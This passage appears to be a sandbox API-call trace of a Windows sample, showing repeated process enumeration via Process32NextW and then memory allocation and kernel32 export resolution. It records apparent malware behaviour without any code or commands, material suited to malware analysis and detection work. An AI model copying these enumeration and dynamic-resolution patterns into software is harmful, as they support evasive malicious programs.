lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0046.577] GetLastError () returned 0x0 [0046.577] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.577] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.578] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.578] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0046.579] GetLastError () returned 0x0 [0046.579] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.579] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.580] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.580] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.581] GetLastError () returned 0x0 [0046.581] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.581] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.582] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.582] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0046.583] GetLastError () returned 0x0 [0046.583] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.583] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.584] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.584] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0046.585] GetLastError () returned 0x0 [0046.585] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.586] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.586] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.587] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0046.588] GetLastError () returned 0x0 [0046.588] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.589] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.589] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.590] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0046.591] GetLastError () returned 0x0 [0046.591] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.592] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.592] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.592] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0046.593] GetLastError () returned 0x0 [0046.593] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.594] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.594] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.595] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0046.595] GetLastError () returned 0x0 [0046.596] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.596] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.597] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.597] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0046.598] GetLastError () returned 0x0 [0046.598] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.598] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.599] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.599] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0046.600] GetLastError () returned 0x0 [0046.600] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.601] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.601] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.601] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0046.602] GetLastError () returned 0x0 [0046.602] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.603] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.603] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.603] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0046.604] GetLastError () returned 0x0 [0046.604] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.770] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.771] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.771] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0046.772] GetLastError () returned 0x0 [0046.772] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.773] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.774] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.774] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper.exe")) returned 1 [0046.775] GetLastError () returned 0x0 [0046.775] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.776] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.776] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.777] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston disciplines.exe")) returned 1 [0046.778] GetLastError () returned 0x0 [0046.778] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.778] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.779] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.779] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bossisolatedconcerned.exe")) returned 1 [0046.780] GetLastError () returned 0x0 [0046.780] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.781] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.781] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.782] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romania-liberia-yea.exe")) returned 1 [0046.782] GetLastError () returned 0x0 [0046.782] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.783] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.783] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.784] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mcdonald.exe")) returned 1 [0046.784] GetLastError () returned 0x0 [0046.785] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.785] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.785] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.786] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nba_forgotten.exe")) returned 1 [0046.787] GetLastError () returned 0x0 [0046.787] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.787] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.787] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.788] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="en_regard.exe")) returned 1 [0046.789] GetLastError () returned 0x0 [0046.789] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.789] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.790] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.790] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="appeals.exe")) returned 1 [0046.791] GetLastError () returned 0x0 [0046.791] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.791] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.792] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.792] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="street.exe")) returned 1 [0046.793] GetLastError () returned 0x0 [0046.794] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.794] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.794] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.795] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="test principle federation.exe")) returned 1 [0046.796] GetLastError () returned 0x0 [0046.796] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.797] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.797] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.798] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0046.799] GetLastError () returned 0x0 [0046.799] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.799] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.800] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.800] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="exhaust.exe")) returned 1 [0046.801] GetLastError () returned 0x0 [0046.801] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.802] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.802] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.803] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0046.805] GetLastError () returned 0x0 [0046.805] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.805] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.806] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.807] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emissiondetermine.exe")) returned 1 [0046.808] GetLastError () returned 0x0 [0046.840] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.840] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.841] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.841] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="printers_aerospace.exe")) returned 1 [0046.842] GetLastError () returned 0x0 [0046.843] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.843] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.843] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.844] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler-transportation.exe")) returned 1 [0046.845] GetLastError () returned 0x0 [0046.845] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.845] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.846] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.846] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="end extending.exe")) returned 1 [0046.859] GetLastError () returned 0x0 [0046.859] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.859] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.862] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.862] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="advantage_bringing_ip.exe")) returned 1 [0046.863] GetLastError () returned 0x0 [0046.863] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.863] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.864] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.864] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="urban.exe")) returned 1 [0046.865] GetLastError () returned 0x0 [0046.865] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.865] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.865] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.866] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0046.867] GetLastError () returned 0x0 [0046.867] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.867] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.867] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.868] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularityorbit.exe")) returned 1 [0046.869] GetLastError () returned 0x0 [0046.869] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.869] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.870] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.870] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sentences_fog_polyester.exe")) returned 1 [0046.871] GetLastError () returned 0x0 [0046.871] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.872] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.872] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.872] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federationwingsgods.exe")) returned 1 [0046.873] GetLastError () returned 0x0 [0046.873] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.874] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.874] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.875] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burningcontinueseven.exe")) returned 1 [0046.876] GetLastError () returned 0x0 [0046.876] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.876] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.877] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.877] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.878] GetLastError () returned 0x0 [0046.878] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.879] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.879] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.881] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.882] GetLastError () returned 0x0 [0046.882] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.882] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.883] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.883] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.884] GetLastError () returned 0x0 [0046.884] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.884] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.885] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.888] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0046.898] GetLastError () returned 0x0 [0046.898] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.899] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.899] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.899] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0046.900] GetLastError () returned 0x0 [0046.900] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.901] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.901] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.292] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="iphnlp.exe")) returned 1 [0047.293] GetLastError () returned 0x0 [0047.293] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.294] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.294] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.294] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="iphnlp.exe")) returned 0 [0047.295] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.295] CloseHandle (hObject=0xd8) returned 1 [0047.295] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x60000 [0047.296] VirtualAlloc (lpAddress=0x0, dwSize=0x1207, flAllocationType=0x3000, flProtect=0x4) returned 0x170000 [0047.296] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x180000 [0047.296] VirtualAlloc (lpAddress=0x0, dwSize=0x1f4, flAllocationType=0x3000, flProtect=0x4) returned 0x190000 [0047.297] lstrlenA (lpString="kernel32.dll") returned 12 [0047.297] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.297] lstrcpyA (in: lpString1=0x21ff220, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0047.297] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0047.297] 